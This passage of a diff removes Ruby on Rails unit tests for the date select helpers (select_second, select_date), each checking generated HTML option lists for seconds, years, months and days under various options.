- expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_second(nil, :include_blank => true)
- end
-
- def test_select_second_with_html_options
- expected = %(<select id="date_second" name="date[second]" class="selector" accesskey="M">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
-
- #result = select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
- #assert result.include?('<select id="date_second" name="date[second]"')
- #assert result.include?('class="selector"')
- #assert result.include?('accesskey="M"')
- #assert result.include?('<option value="00">00')
- end
-
- def test_select_second_with_default_prompt
- expected = %(<select id="date_second" name="date[second]">\n)
- expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
- end
-
- def test_select_second_with_custom_prompt
- expected = %(<select id="date_second" name="date[second]">\n)
- expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose seconds')
- end
-
- def test_select_date
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
- end
-
- def test_select_date_with_too_big_range_between_start_year_and_end_year
- assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 20000, :prefix => "date[first]", :order => [:month, :day, :year]) }
- assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => Date.today.year - 100.years, :end_year => 2000, :prefix => "date[first]", :order => [:month, :day, :year]) }
- end
-
- def test_select_date_can_have_more_then_1000_years_interval_if_forced_via_parameter
- assert_nothing_raised { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 3100, :max_years_allowed => 2000) }
- end
-
- def test_select_date_with_order
- expected = %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_year" name="date[first][year]">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:month, :day, :year])
- end
-
- def test_select_date_with_incomplete_order
- # Since the order is incomplete nothing will be shown
- expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
- expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
- expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="1" />\n)
-
- assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:day])
- end
-
- def test_select_date_with_disabled
- expected = %(<select id="date_first_year" name="date[first][year]" disabled="disabled">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]" disabled="disabled">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]" disabled="disabled">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :disabled => true)
- end
-
- def test_select_date_with_no_start_year
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- (Date.today.year-5).upto(Date.today.year+1) do |y|
- if y == Date.today.year
- expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
- else
- expected << %(<option value="#{y}">#{y}</option>\n)
- end
- end
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(
- Time.mktime(Date.today.year, 8, 16), :end_year => Date.today.year+1, :prefix => "date[first]"
- )
- end
-
- def test_select_date_with_no_end_year
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- 2003.upto(2008) do |y|
- if y == 2003
- expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
- else
- expected << %(<option value="#{y}">#{y}</option>\n)
- end
- end
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(
- Time.mktime(2003, 8, 16), :start_year => 2003, :prefix => "date[first]"
- )
- end
-
- def test_select_date_with_no_start_or_end_year
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- (Date.today.year-5).upto(Date.today.year+5) do |y|
- if y == Date.today.year
- expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
- else
- expected << %(<option value="#{y}">#{y}</option>\n)
- end
- end
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(
- Time.mktime(Date.today.year, 8, 16), :prefix => "date[first]"
- )
- end
-
- def test_select_date_with_zero_value
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(0, :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
- end
-
- def test_select_date_with_zero_value_and_no_start_year
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
- end
-
- def test_select_date_with_zero_value_and_no_end_year
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- last_year = Time.now.year + 5
- 2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
- end
-
- def test_select_date_with_zero_value_and_no_start_and_end_year
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(0, :prefix => "date[first]")
- end
-
- def test_select_date_with_nil_value_and_no_start_and_end_year
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
- end
-
- def test_select_date_with_html_options
- expected = %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => "selector")
- end
-
- def test_select_date_with_separator
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << " / "
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << " / "
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
- end
-
- def test_select_date_with_separator_and_discard_day
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- expected << " / "
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
